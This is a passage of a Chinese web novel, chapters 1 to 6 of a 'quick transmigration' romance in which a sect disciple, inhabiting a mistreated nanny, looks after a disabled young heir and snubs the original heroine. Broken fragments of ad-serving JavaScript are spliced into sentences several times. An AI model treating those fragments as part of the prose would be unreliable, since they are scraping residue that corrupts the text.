《快穿:炮灰工具人的逆袭人生》 第1章 残疾少爷的保姆(01) “出去。” “滚!都滚出去!!” 少年歇斯底里的吼声从房间里传出来,同时还有碗碟落地的碎裂声。 老管家心焦的不行,却也不敢在这时候违逆少年的话,忙带着人退了出来,一时也顾不上收拾满屋狼藉。 小保姆低头默默地跟在管家身后,下楼时,她身影微微晃了下。 神不知鬼不觉的,炮灰工具人部门员工白幺幺同志已经进入这具身体。 没给她缓冲时间,小世界的剧情随即涌入脑中。 接收完剧情,特别是看到原主的一生,白幺幺不免都皱了下眉。 刚刚楼上那个情绪失控的少年就是本世界男主安子皓,而本世界的女主则是原主外甥女白晴。 原主是女主的小姨,只比女主大三岁。 当年白家父母响应国家政策,生了一个女儿就没再生。 十八年后,政策放宽,两人决定要个二胎,烧香拜佛祈祷能一举得男,毕竟谁都希望自己的香火得以传承下去。 十月怀胎,原主呱呱坠地,见着又是个女娃,白家夫妻失望极了。 本就年龄大了,又因着不是自己想要的儿子,夫妻俩对原主照顾就显得有些简单粗糙。 等原主大点,家里人甚至还有意无意的给原主洗脑: 什么你怎么就不是个带把的,你要是个带把的不就皆大欢喜了,就因为你不是男的,你姐姐才要背负那么大的压力。 什么姐姐以后要招赘,就很委屈你姐姐了,你要乖,要懂事点,不要闹你姐姐。 什么咱家没个男人撑场子,以后你姐姐就是你的娘家人,等你长大嫁人后,是要靠你姐姐撑腰的,所以要多对你姐姐好点。 什么你姐姐为了你牺牲很大,你以后要懂感恩…… 在原主三岁的时候,原主姐姐未婚先孕生了个父不详的女儿,夫妻俩对她碎碎念洗脑的内容又多了不少。 原主和外甥女女主相差三岁,两人在家的待遇却是天差地别,她打小就被耳提面命要如何做好一个长辈,照顾好自己的小外甥女。 同时,家里家外的活只要她能上手的,那以后都是她的活了,美名其曰她以后就要嫁出去享福,必须趁着还在家的时候多做些。 不管是原主的父母,还是原主的姐姐,所有人似乎忘记了,她也只是个孩子,仅仅比女主大三岁。 原主越来越沉默寡言,她自卑敏感,渴望爱。 她期待着长大,长大了她就可以逃离这个令她有点窒息的家,就可以嫁人去组建一个温馨的家。 变故来得猝不及防,一场交通事故导致白家就只剩原主和女主,由于事故主要责任在白家大姐,走保险卖了房还掏空的积蓄才够赔偿。 这一年,原主恰逢高三,再过半年就要高考了。 她的成绩很好,没意外的话国内排名前十大学随便选,只是在这一年她的梦碎了。 她没得选择不是吗? 辍学打工供养还在读初三的外甥女,这是所有人早早就替她选好的路。 原主不怨人的,她有着坚韧的性子,始终抱着对未来的期待。 可是她的未来将在三个月后夭折,或者说陷入深渊更准备,一切还是拜女主所赐,这也是原主这个炮灰工具人觉醒的原因。 没错,在这方小世界里,原主仅仅只是一个炮灰工具人,像老黄牛般供养女主,促成男女主相识相知后功成身退,结局怎一个惨字了得炮灰工具人。 在至暗深渊中苟延残喘了几年,解脱后得知自己只是别人故事中笔墨寥寥的炮灰工具人,原主怨念滔天。 白幺幺的任务很简单,完成原主要做自己人生女主,不再做别人人生中的炮灰工具人的心愿。 白幺幺略微一琢磨,不就是翻身做女主,简单。 反正看完原主的一生,白幺幺唏嘘极了,换成是她有了同等经历,心愿或许就不是这么简单,应该是直接来个毁灭世界吧! “小白,等少爷情绪平复后,你再上去把房间收拾下。” 老管家边交代边拿出手机准备给国外的老爷打电话。 白幺幺轻点了头, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 转身先回房间将被泼到汤汁的衣服换掉。 原主辍学后,通过同学的介绍来到安家当保姆,尽管当时这名同学有点羞辱她的意思,但是原主还是很感激对方。 毕竟一个高中没毕业的小姑娘上哪找这么一份活轻松还钱多,最重要是安全有保障的工作。 不管是为了完成任务,还是其他,这份工作她都要先继续做着。 本来只打算换身衣服,只是衣服脱了,白幺幺发现汤汁渗透衣服沾到皮肤上,惹得她眉头轻皱,转身进浴室。 将自己收拾好已经是半个小时后了,打工人白幺幺一身清爽的走出房间开始工作。 路过客厅,瞥了眼还在讲电话的老管家,她没说什么,直接上楼。 按理说,白幺幺应该先敲门,得到房内主人的许可才能推门进去。 不过她没有,男主现在刚遭遇人生滑铁卢,情绪不稳定,时刻处在崩溃爆发边缘,她如果循规蹈矩的敲门,不仅得不到回应,还可能被骂滚。 这就 跟人哭的时候,没人哄着时,很快就能自己止住,但要是有人围着安慰,就会越哭越想哭。 轻轻推开门,一股难以言说的味道扑鼻而来,白幺幺面不改色的缓步走了进去。 这种时候,她脸上但凡轻皱下眉头,受伤的狼崽子绝对不会再给机会让她进入自己的领地。 白幺幺先是动作麻利将地上的一片狼藉收拾好,紧接着把地拖了下。 床上的少年不言不语,双目盯着天花板看,不过白幺幺知道狼崽子分了一丝眼角余光在她这边。 收拾好房间,白幺幺又去浴室打了一盆温水出来。 “少爷,我给你擦洗换下衣服。” 原本这个工作是有安排男护工做的,只是男护工昨天半夜给人换衣服时,没控制好自己的表情,激怒到小少爷被赶走了。 早上新上任的男护工刚进门不仅被赶走了,还被砸破脑袋,好像是男护工对着小少爷残疾的双腿流露出同情可惜的眼神,一下子刺激得人随手操起铁疙瘩的闹钟朝人砸去。 第2章 残疾少爷的保姆(02) 或许是从昨晚到现在都未进食,亦或许是小少爷也累了,屁股底下还脏污一片,向来爱干净有洁癖的小少爷可能已经忍耐到极限了。 白幺幺掀开盖在少年身上薄毯时,小少爷依旧只是望着天花板,似乎是和外界失联了。 要不是白幺幺五感敏锐,根本觉察不到少年暗戳戳的窥探。 按照剧情来看,床上躺着的可不是啥人畜无害的富贵家少爷,而是已经开始边上学边接管家族事业的狼崽子。 安家作为老牌家族,说传承千年有点夸张,但是传承百年必须是有的。 近几代安家嫡系人丁凋零,现下就只剩一老一小,这就导致旁系开始虎视眈眈,小动作不断。 安子皓遭逢此变故就是某旁系叔伯的手笔,知道孙子下半生可能离不开轮椅,安老爷子只是念叨了句“活着就好”。 之后安老爷子以铁血手段收拾了对自己孙子下手的一干人,同时还整顿敲打了下旁系众人。 安家是他们爷孙的安家,这些依附在主家身上吸血的旁支若敢继续把手伸太长,来一只他剁一只,来一双他剁一双。 同时老爷子明确传达出一个信息,未来,哪怕主家真的后继无人,那他宁可把东西都捐了,也不便宜些狼心狗肺的东西。 简而言之就是主家还有人传承下去,他们还能依附着吸吸血,若是主家断了传承,那他们连吸血的地方都没有了。 毕竟是经历过大风大浪的,事情发生到现在,短短不过才一周。 安老爷子不仅找出凶手,处理完手头上的事,同时安排好一切,就出国给孙子研究治腿的方案。 十八岁的少年,之前是何等的意气风发。 一场车祸醒来,双腿失去知觉,被告知有终身残疾的可能,任谁都接受不了。 由于小少爷接受不了自己成为废人的事,哪里肯心平气和接受护工在自己身下垫护理垫。 小少爷的自尊心绝对不允许的,屁股底下垫上那玩意就跟在赤裸裸嘲笑他是残废的事实。 以至于现下白幺幺瞥见沾染到脏东西的床单,她微不可察的停顿了下。 没给小少爷反应的时间,白幺幺俯身公主抱的将人抱起,轻轻放到床边的轮椅上。 动作虽不是一气呵成,却也很丝滑,这得多亏了原主打小做惯了力气活,谁让白家住的是楼梯房七楼。 将人放下后,白幺幺开始俯身拆床单。 憋着股洪荒之气的安子皓:“……” 他想如同对待那些男护工般,言行恶劣。 只是触及女人认真仔细的动作,以及女人脸上眼睛里至始至终都没出现过那些令他厌恶痛恨的神情。 小少爷张了张唇,最后垂下眼睑,有种破罐子破摔的意思。 把脏的床单毯子等卷起来放到门口,白幺幺折回来先去拉开窗帘,把房间里的窗户开到最大通风散味。 初秋的风很凉爽,吹在人身上舒服极了。 白幺幺走到轮椅后面,推着人来到浴室。 “少爷,你自己洗?还是我伺候你洗?” 白幺幺是懂照顾这类病人的,她用的不是“你自己能洗吗?要我帮你洗?”这类的问句。 身有残疾行动不便的人最讨厌别人话里话外时刻提醒着他们这一事实。 沉默。 久久没有得到回应。 白幺幺觉得她给足思考时间了,继续这般僵持下去不好,她直接帮少年做决定。 下身忽的感觉凉飕飕的,不仅安子皓惊愣住了,白幺幺同样傻愣住了。 良久白幺幺才找回脑子,“……少爷,你怎么没穿内裤。” 安子皓:……就这样让他毁灭吧! 继续做他的行尸走肉! 白幺幺是个刚完成测试世界的新人,她来自的世界用现在世界的话来说就是古代。 然后她的宗门放古代算邪宗,放现在就有点不正经。 合欢宗,她的宗门叫这名,现在但凡看仙侠小说的都听说过。 白幺幺尚在襁褓时就被合欢宗少宗主所救,带回去养在合欢宗中,哪怕世人对合欢宗恶评不断。 她依旧很爱自己的宗门,因为那是她的家,她誓与宗门共存亡,当然也做到了。 没成想死后,她的灵魂被世界管理局捕捉到,开始了她的打工做任务复活合欢宗众人之路。 幸好她的测试世界也是现代文明,不然初到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这个世界,她肯定没办法如此淡定,分分钟就适应。 至于照顾残疾病人,说真的当初在宗里,老宗主瘫痪在床上足足六年多,都是她和几个师姐亲力亲为在照顾。 所以,不要质疑她这方面的经验啦! 只是白幺幺忘记了一件事,照顾对象是男是女还是有很大区别的。 比如现在,她眼睛直勾勾的盯着少年双腿间,脑中竟然冒出了所学功法。 宗门被灭,直到身死时,用现代话术来说,她空掌握了丰富的理论知识,却尚未实践过。 如果她当时修为再高点,再高点,是不是就能救下师傅师姐们。 安子皓很想自闭到底,可是任谁那地方被道灼热的视线紧紧盯着能无动于衷的。 双腿受伤后压抑,狂怒,言行恶劣的宣泄,自暴自弃的颓废…… 种种的一切,他就是还没办法和残废的自己和解。 短短的几天,各种状况百出,什么狼狈模样没出现在他身上过。 可是像现在这样的,小少爷真的是完全没想到。 “……它……它……” 白幺幺瞪大眼错愕的指着少年双腿间,原谅她是个没文化的古代黄花大闺女,是真的词穷。 安子皓:“……” 小少爷这回是真的炸了。 “出去。” “立刻!马上!!” 还没意识到自己犯了啥错,但是求生欲很强的白幺幺同志光速逃离浴室。 趁着小少爷自己在浴室里洗澡,白幺幺开始给床铺上新的床单,又拿了套新的被褥出来。 做完这些后,她来到浴室门前,听着里面的水声,等待小少爷洗完澡。 人一闲下来,就喜欢想七想八,白幺幺同学尤甚。 她想了自己宗门,想了宗门的师傅和师姐们,还想了第一个测试世界。 想着想着她脑中浮现起方才浴室中所看到的画面,如此近距离观摩,她想不看清楚都难。 按照师姐们描述的,小少爷应该属于极品双修对象。 既然原主的愿望是翻身做女主,男主现成有一个,她也就不麻烦再去找一个,勉为其难用这个现有的吧! 第3章 残疾少爷的保姆(03) 约莫四十分钟后,浴室中再没有水声传出。 早半个小时前就搬了把椅子坐门前的白幺幺忙站起身来,轻手轻脚把椅子放回原位,才折返回来冲着里面知会了声。 “少爷我进去了哦!” 为什么没先询问下能不能进,因为她知道询问了也是白问。 对付这种病人,有时候不要给他们太多选择的空间,因为他们这个时候是失去理智,不讲道理的,没办法为自己做出合理明智有利的选择。 当然,白幺幺敢这么做还有一个原因,她开挂了呗。 按照剧情来看,小少爷受伤到现在一周了,该发泄也发泄的差不多,毕竟是未来叱咤风云的人物,应该有打不死小强的精神。 区区残疾,未来大佬还是能慢慢接受的。 白幺幺在门前又站足一分钟,给里面人准备的时间,她才推门进入。 门内没有想象中的热气萦绕,初秋的天不冷但也绝对不热,洗温水澡差不多,没想到小少爷直接洗冷水澡。 此时,小少爷正面无表情的坐在轮椅上,下半身处盖着一块浴巾,头发湿答答的还在滴着水。 在她那个世界好颜色的男男女女,白幺幺不知见过凡几,眼前这幅破碎感十足的轮椅美少男出浴图并没有对她产生多大视觉冲击。 她真的做到了脸不红心不跳,只是快速扫了眼,啥话没说就出去又推了个轮椅进来。 小少爷现在坐着的这个轮椅湿答答的,如果让人继续坐在上面推着出去,也会将外面房间弄得湿答答的。 白幺幺先在轮椅上铺一块干净的浴巾,才俯身将人从湿的轮椅抱到干净的轮椅上。 期间她可是很注意的,没有发生什么意外,让小少爷身上盖的浴巾滑落。 考虑到小少爷还没穿衣服,又自己洗了冷水澡,白幺幺怕人真着凉了,出去推轮椅时还不忘了把房间里的暖气开上,只是温度没开很高就是了。 应该是因为洗干净了,小少爷身心似乎舒畅不少,任由白幺幺摆布,全程臭着一张脸,双唇也紧抿着。 将人推到床边,白幺幺并没有立马将人抱床上,而是拿来吹风机伺候小少爷吹头发。 没出事前,小少爷在意形象极了,哪里可能剪那种寸板头。 小少爷头发不仅浓密还不短,每天出行都要倒腾出个发型。 白幺幺伺候老宗主伺候出了行为惯性,没办法放任小少爷那一头湿发不处理。 给人吹干头发,白幺幺循着记忆到隔壁衣帽间给小少爷拿了套宽松舒适的居家服,折回来放在床上。 “少爷你先自己换下衣服,我下去端饭上来。” 白幺幺知道自己就算不帮忙穿,也该把人抱床上去,这样对方比较好自己穿,在轮椅上穿裤子很有难度。 但她还是这么做了,完全是综合各方面考虑后快速做出的决定。 以小少爷的傲气,他喜欢别人把他当正常人看待。 加上小少爷从小到大都有健身,臂力了得,在轮椅上穿裤子虽然难度不小,但是以小少爷的臂力还是能做到的。 毕竟剧情中,在女主白晴的眼神鼓励下,小少爷费了不小功夫,真的自己穿好裤子了。 等到白幺幺的身影消失,原本像是神游天外的安子皓才眼神聚焦,黑眸沉沉的盯着她消失的方向看了许久。 “小白呀,怎样,小少爷现在情绪怎么样?” 白幺幺才下楼就被老管家逮住,老人家问题是一个接着一个。 合欢宗十分重视尊师重道的美德,白幺幺当然也是。 老管家年纪摆在那,平时对原主也很关照,算是个不错的长辈,她很有耐心的温声回答完十几个问题。 最后听到她说是下来给小少爷拿吃食的,老管家笑了,“厨房一直有备着吃食,都是小少爷爱吃的,赶紧去吧,别让小少爷等久了。” 厨师应该是考虑到小少爷的情况,煮的都是些清淡好消化的。 白幺幺端着食物回到房间时,果然小少爷已经自己穿戴好,虽然不是那么整齐,但真的已经很不错了。 她抬手在少年头顶轻抚了下,“少爷真厉害!” 等反应过来自己做什么,白幺幺…… 嗯,做了就是做了,江湖儿女做事向来随心,最不喜扭扭捏捏。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再说了,原主的心愿不就是做女主,她现在就开始走女主的路让女主无路可走。 对了,女主除了摸男主的头还做了什么,她是不是也要跟着做全套。 嗯,想到就做,她可是个十分敬业的打工人。 白幺幺随手从桌上抽了两张纸巾,俯身开始给人擦脸上汗。 安子皓:“……” 这女人刚刚不仅夸他还摸他头,现在竟然还……动作温柔的给他擦汗。 再想到浴室的那一幕,安子皓握着扶手的手收紧。 以前这女人表现出一副老实本分,谨小慎微的模样,工作态度很好,行为克己守礼,没想到他这一受伤,人就立马露出马脚。 想勾引他? 觉得如今残废的他,只要稍微使点手段就能得手! 呵! 安小少爷在心里暗 暗嗤笑,既然玩具自己送上门来,他岂有不玩的道理。 刚好心中郁气无处宣泄,小少爷给自己找了个乐子。 白幺幺可不知道某少爷此刻心中所想,当然要是知道,她只会说少爷你真相了,但有点她要申明,她真的没再勾引他,毕竟她真的还没开始勾引了。 把擦汗的纸巾扔到垃圾桶,白幺幺转身准备自己也去进食下。 方才去到厨房,闻着食物的香气,白幺幺发现自己饿了。 “过来,喂我!” 白幺幺停下脚步,回头茫然的看着安子皓,一副她是不是幻听了的模样。 安子皓神情有那么一瞬间的阴鹜,不是要勾引他? 是不是因为他双腿残疾,是废人,所以对方即使想要勾引他,也不是那么上心。 “不要让我说第二遍!” 白幺幺:“……” 打工人,打工魂,打工都是人上人,今天搬砖你不狠,明天地位就不够稳,累就对了打工人,舒服是留给有钱人…… 白幺幺在心里唱起测试世界学到的歌,也不知道这个世界有没有这首歌,她等下要去找找。 “好的,少爷。” 白幺幺回了个标准的笑。 第4章 残疾少爷的保姆(04) 不管是原主还是白幺幺,喂饭的功夫都不错。 由于原主喂饭的对象是外甥女,白幺幺受原主记忆影响,舀起粥后还不忘“啊!”了一声。 她这声一出,满屋寂静。 别说小少爷会不会尴尬,反正白幺幺自己是挺尴尬的。 安子皓垂了垂眼睑,真的应声张嘴。 第一口吃下后,之后就很顺利了,二十分钟不到,白幺幺就完成了喂饭任务,最后她还服务周到的帮小少爷擦了擦嘴。 考虑到刚吃完饭,白幺幺没立马把人抱床上去躺着。 至于小少爷想干嘛,他只是脚残了,手没残,脑子也没傻,可以自己控制轮椅。 再者轮椅是特制的,房子也重新改装过,哪怕是有生理需求,小少爷也能自己独立完成,只是费劲点。 白幺幺离开后,第一时间飞奔向厨房,她真的好饿呀。 安家对员工很好,不仅薪资待遇高于行业水平,吃住条件也不错。 心满意足的饱餐一顿,白幺幺边哼着歌边将碗筷洗起来。 她很喜欢现代社会的歌曲,曲调好听,歌词直白动人。 考虑到长时间坐在轮椅上会不舒服,一个小时候后,白幺幺再次上楼。 白幺幺离开后,安子皓操控着轮椅来到窗边,看着窗外风景发呆。 白幺幺进来时,他人依旧维持那个姿势,没有动。 白幺幺走过去没有说话,推着人去卫生间,上床前有必要让人先解决下生理需求。 其实小少爷只是双腿不便,倒是没有严重到失禁,之前会出现那样状况,完全是因为小少爷还没办法接受自己腿残了事实。 他拒绝与人沟通,浑身长满冰刺,满腔污秽浊气简直把把他炸裂了。 平时再如何光风霁月的人,遭此大变故,一时不疯魔才怪,毕竟他不是神,是有血有肉的人,是才十八岁的少年。 说起十八岁,嗯,和女主同岁。 原主二十一岁,大三岁。 不是有个说法,女大三抱金砖,很好! “帮我脱裤子。” 啥? 正准备离开到外面等着的白幺幺:“……” 少年,你知道自己说的是啥虎狼之词吗? 确定没有说错。 安子皓神色未变的重复道:“帮我脱裤子。” 末了,他又加重语气吐字道:“白姐!” 安家是个有底蕴的家族,十分看重子孙后代各方面的教育,小少爷长成了温润有礼的阳光大男孩形象。 至少明面上这样,私下,白幺幺哪里不知道,那就是头孤傲的狼崽子。 指腹轻推了下鼻梁上的黑框眼镜,白幺幺用眼神询问:你确定? 沉默就是答案。 既然这是对方的要求,自己也没必要扭捏,再说了,又不是没看过。 “好的,少爷。” 只是看到女人把他推到卫生间,就迫不及待的要离开,仿佛怕看到什么脏东西似的,安子皓内心就极度不舒服,他不舒服当然也要让别人不舒服,腿残的小少爷就是如此心思恶劣。 其实话脱口而出后,他就后悔了,可是女人第一时间外露的神情看得他很不爽。 之后事态发展就成现在这样,小少爷有点骑虎难下了。 白幺幺是宗里年纪最小的,她的那些师姐们都大她十几二十岁,被全宗上下宠着,保护着,也就养成她单纯直爽的性子。 有过一次经验,白幺幺双手麻利的完成小少爷的要求,根本没给小少爷出尔反尔的机会,眼睛甚至还不受控制的往那地方瞥了一眼。 嘶! 怎么突然感觉凉飕飕的。 白幺幺下意识摸了摸胳膊,出去时不忘提醒道:“小少爷,初秋天凉了。” 言外之意就是你速战速决哦,虽只是光着腚,但久了还是可能受凉的。 安子皓双拳捏紧了,放松,又捏紧了。 该死的,果然是想勾引他,不知羞耻。 三分钟过去后。 白幺幺将耳朵贴在门上仔细听,很安静,里面没啥动静 “少爷你好了吗?我要进去了哦!” 又等了一分钟,没得到回应,白幺幺直接推开门。 目光触及少年已经穿上的裤子,白幺幺眼中快速闪过一抹失望之色。 她就是好奇,别给她扣什么色女的帽子,也不看看她师承何门。 失望? 意识到对方在失望什么,小少爷内心暴跳如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雷,连骂了好几句不知羞耻。 如果有人此时仔细看小少爷的耳朵,耳后根早已绯红一片,也不知道是被气的还是其他。 这一天,两人相处的诡异和谐温馨,至少在老管家看来是这样子的。 晚上。 白幺幺第三次问道:“少爷,真不用我陪床?” 除了原主工作职责,也是因为白幺幺已经将眼前小少爷扒拉到自己人行列里了,她才如此关怀备至的照顾着人。 确定只是陪床? 小少爷暗自在心里冷嗤,不过是想爬床的拙劣借口,他会看不清。 “你也配!” 心中想法脱口而出, 配上小少爷轻蔑的眼神。 白幺幺:“???” 她再次翻寻了下原身记忆,男主腿残前期身边一直需要人照顾,请来的护工晚上是需要陪床的。 快速在脑中过了一遍几个护工的信息及形象,白幺幺同志心虚的发现自己的确比不过。 之前请的几个护工学历全是本科,一个个身上还都有好几本证书,而且系统的学过护理,形象外貌也都不差。 而她吧,高中没毕业,颜值身材是不错,不过因着是做这种工作的,又想保护自己,平时都是往土的打扮。 这么一分析比较,嗯,她的确不配。 白幺幺赞同的点了点头,贴心提议道:“新的护工已经安排好了,管家本来是想让人明早过来的,要不然我现在去找管家,让他叫人现在就过来?” 一拳打在棉花上的安子皓:“……你!” 不是要勾引他,不是想爬床,这么轻而易举就放弃。 也是,废人一个他,哪里值得她绞尽脑汁,费尽心机的爬床。 “我?” 白幺幺疑惑的歪了歪头,再迟钝的人也能感觉到对方如此明显的情绪波动。 安子皓低喝一声,“出去!” 白幺幺没将对方的阴晴不定放心上,她能理解的。 离开前,她还是俯身想帮人盖好被子。 察觉到女人身体的贴近,正闭着眼睛生气的安子皓想也不想伸手用力一推。 白幺幺被这猝不及防的一推,脚下重心不稳,身体向前倾倒,重重朝床上摔去。 第5章 残疾少爷的保姆(05) 小说中的狗血一幕就此上演,两人的嘴是没对上嘴,但白幺幺唇贴上小少爷几天没打理长出细微胡渣的下巴,温热的鼻息打在小少爷饱满的双唇上,这样的画面也相当炸裂好不。 唇肉被细小的胡渣弄得发痒,惹得白幺幺无意识的伸舌头想舔唇,浑然忘记这个时候不应该是要先从小少爷身上爬起来吗? 安子皓推完人后,心中被道不明快感填满的同时,心底快速闪过他不曾察觉的懊恼。 只是变故来得太快,本以为会摔个屁股蹲的人,此刻却趴伏在他身上,两具身体紧密相贴,对方的唇还…… 就在小少爷脸红脖子红,一时忘记做出反应时,下巴处皮肤上传来湿热触感更是刺激的他双眼瞪大,也是这时他才注意到女人时刻戴在脸上的黑框眼镜应该是摔倒时碰掉了,而没了眼镜遮挡,女人的容貌完完全全露出来。 呵,如此一副皮相就是勾引人最好的利器,这女人平时对他都是遮遮掩掩的,就算现在言行上光明正大勾引他,也没完全展露自己的脸。 脸上红渐渐褪去,小少爷的神色一片阴翳。 小少爷周身冷气嗖嗖外放,白幺幺又不是死人,哪能感觉不到。 比起小少爷推自己那一下,似乎是自己轻薄了小少爷更过分些吧! 尽管未来会是自己人,可现在不还不是,没名没分的,就被自己不小心亲了,还不经意舔了,小少爷会生气也是正常。 她完全能理解的,还有睡前生气影响睡眠。 白幺幺忙麻溜的从小少爷身上爬起来,态度诚恳的道歉。 “抱歉,小少爷,我刚刚不是故意的。” 安子皓紧紧盯着女人脸上的神情,除了坦然就是歉意,一点女人家害羞慌乱都没有。 学校里的那些女生每回故意从他旁边错身而过时,都会害羞得低头,呼吸变快,脸颊变红。 而这女人,刚刚对他做了如此过分之事,竟然脸不红心不跳的。 小少爷以前最烦那些朝他犯花痴,意图以各种方式引起他注意的异性了。 帅气多金,自信张扬,近乎完美的小少爷毫不夸张说就是行走的荷尔蒙,仅仅只是他的一个眼神,都能惹得少女们心中小鹿乱撞。 对于自己的魅力,小少爷是知道的。 可是今天的种种,阴暗的想法在脑中滋生,小少爷一下子进入了死胡同中。 “吻我。” 小少爷用平静的语气吐出这两个字来。 白幺幺愣愣出声,“啥?” 白幺幺脸上傻乎乎的表情取悦了安子皓,他微微勾起唇角,“过来吻我!” 白幺幺:“???” 再次回顾下小世界的剧情,现在的男主是不是有点崩人设呀! 还是自己刚刚真的太过分,把人刺激得不正常了。 “小少爷,我卖艺不卖身的,不是,我做的虽然是服务行业,但此服务行业非彼服务行业,你现在让我……吻你,是不是不太好。” 白幺幺板正着小脸,认真严肃语气中夹杂着哄人的味道,“少年人血气方刚的,我都懂,只不过咱们还没成亲,没名没分的就占你便宜,被人知道了,对你名声有损。” 世人对她们合欢宗存在误会和偏见,其实她们合欢宗除了修习功法比较那个啥外,也没干啥伤天害理的事。 宗里的师姐们寻找双修道侣都是讲究个你情我愿,完全不存在强取豪夺,而且一定会给对方名分的,无媒苟合那都是渣女才干的事,她们合欢宗的人平生最讨厌的就是那些个渣男渣女。 “哈…哈哈……” 小少爷笑了,受伤到现在第一次笑了。 “你想嫁给本少爷?真的是长得——” 丑字到嘴边,触及女人的脸,小少爷皱眉,话锋一转,“也不看看你配吗?本少爷是残了,但也没到饥不择食的地步,白姐!” 最后两个字安子皓咬的极重。 白幺幺:“???” 那刚刚让吻他的是谁? 小少爷不会是因为自己没满足他,面子上过不去,所以恼羞成怒了。 至于小少爷的话,白幺幺根本不会放心上,也没被伤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到。 身为合欢宗的一员,世上对她们的误会很深,从小到大她听到的各种诋毁多了去。 师傅和师姐们说了,那些诋毁他们的人纯粹是羡慕嫉妒他们,不需要长年累月苦哈哈的修炼,只需与人双修,享鱼水之欢的同时,就能长修为。 原主和男主各方面的确相差甚远,白幺幺很赞同的点头。 “的确是不配。” 不过这些重要吗? 师姐说了,找双修对象,第一先看对方资质,极品优质的双修对象能让他们在双修时事半功倍。 只要满足了第一点,颜值外貌自己又不讨厌,那其他的都不重要。 女追男隔层纱,烈男怕缠女,两情相悦只是时间的问题。 没在女人脸上看到被羞辱后的不甘、愤怒、扭曲,小少爷不痛快了。 “滚!” 放往常,安子皓是不会让此等不安分的人继续留下来。 视线下移,落在某一处,各种情绪纷涌而至, 攥紧了双拳,没有歇斯底里,更没有抄起身边的东西就砸。 除非立马结束自己的生命,想要继续活着,就必须慢慢接受…… 寂静的房间里,只余小少爷一人。 白幺幺应小少爷的话,滚的悄无声息。 这种时候,需要给对方留足空间,让他自己慢慢舔舐伤口。 忙了一天,回到自己的房间,白幺幺沾床就睡。 一夜好梦。 也不知道天亮了没,白幺幺被手机来电铃声吵醒了。 摸到手机,她没立马接电话,而是先看了下时间。 好样的,才五点。 白幺幺怨念满满的去看扰她清梦的是谁,被吵醒脑袋还处在宕机中。 外甥女三个字,她足足反应了一分钟,才想起来今天是剧情开始关键。 男女主要正式见面了,这机会还是原主这个炮灰工具人提供的。 现在她来了,男主她也收下了,女主要是敢觊觎她的人,她们合欢宗的人可不是好欺负的。 第6章 残疾少爷的保姆(06) 来电铃声停了又响,有股一定要得到回应才停的架势。 等女主打第三遍的时候,白幺幺才按下接听键。 “小姨你怎么才接电话!” 一道清丽婉转的女声传来,语气中隐隐带着丝愠怒和苛责。 白幺幺皱眉,她可不是原主,不当那受气包。 “白晴你十八岁了,不是八岁,现在几点你不会看表吗?” “大清早的扰人清梦,电话接通的第一瞬间你不该先表达下歉意吗?” 正在候机厅的白晴觉得自己应该是幻听了,把手机从耳边拿开,想确认下如果自己没幻听那是不是打错号码了。 不等她确认,手机里又有声音传出。 “没事我挂了。” “等等,小姨别挂。” 根本不用确认,声音就是她小姨的,只是说话风格一点不像她小姨。 “有事快说。” 白幺幺十分不耐烦应付这个不懂感恩的黑心女主。 用力握紧手机,指尖泛白的白晴:“……” 从昨天开始,她总是没来由的心慌,加上早上要赶六点多的航班,昨晚根本没休息好。 此时此刻,那种心慌的感觉更甚了,还有那种突然具体化,像是什么很重要很重要东西正在流失的感觉让她有点窒息。 “怎么又不说话……” “小姨,别挂电话!” 白幺幺心虚的摸了摸鼻子,女主竟然猜到她已经伸手指准备挂电话了。 目前不是深究她小姨怎么突然变成这样,白晴直入主题,“小姨,我现在在机场,快登机了,航班信息我五天前就发你了,之前说好的,等下你记得来接机哦。” “很久没见小姨了,我很想你,等下见面我请小姨吃大餐。” 白幺幺皱眉,原主允诺的事,她不想赴约咋办? 既然不想,白幺幺可不是会委屈自己的人,关键还是对方不值得她委屈自己。 “我今天临时有事,到了你自己打车去酒店吧!” 随便扯了个借口,白幺幺完全不在意女主听后的想法。 “不是,小姨,我这次过来不住酒店的,你不是担心我一个女孩子住酒店不安全,让我到你工作的主人家借住一段时日吗?” 心脏处突然传来的钝痛感让白晴身体摇晃了下,手机差点滑落。 一大早被吵醒,对方还唧唧歪歪个没完,白幺幺同志耐心终于告罄。 “白晴,你十八了,不是八岁,这次假期旅游你还是住酒店吧,之前是我对你保护过度了,这几天你自己好好玩,我这边也很忙,没事你就别打扰我工作,别给我打电话。” “小姨,你……” 回应白晴的是一长串的嘟嘟声。 耳根子终于清静下来,瞅了眼时间,回笼觉啥的她不配,打工人白幺幺打着哈欠去卫生间洗漱。 至于女主听了她的话会怎么想,这完全不在她考虑范围。 要不是师姐们打小就教育她,亏本的买卖做不得,小便宜也不能随便占,倒贴更是会被打断腿。 而原主心愿并没有报复那些欺她害她之人,那她就不对女主出手了,但人要是主动往她面前蹦跶,惹烦她,她就可以以为自己出气而出手了。 轻轻阖上房门,白幺幺习惯性伸手去推鼻梁上架着的眼镜,手指碰了个空。 忘记戴眼镜了。 白幺幺回房找了一圈,没找到,也不知道落在哪里了。 原主左眼近视一百度,右眼没近视,这个近视程度根本不需要戴眼镜。 既然眼镜找不到,那就不戴了,反正不影响她生活工作。 白幺幺刚到大厅,就和领着人进来的老管家撞上。 两人看到她的第一瞬间都愣了下,老管家回神后,微笑道:“小白你突然没戴眼镜,人老了眼神不好,差点没认出来。” “难怪你们小年轻天天在网上嚷嚷什么眼镜会封印颜值,现在看小白你戴眼镜和没戴眼镜的前后反差,网上说的果然没错。” 老管家是个慈祥的老人,知道原主的情况,平时对原主十分关照。 考虑到旁边还有人,老管家收住话题,对白幺幺介绍道:“这是新来的护工小李,我现在带他去见少爷,小白你用早餐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了吗,没有赶紧先去吃。” 白幺幺快速扫了眼新来护工,压下心中没来由的不舒服。 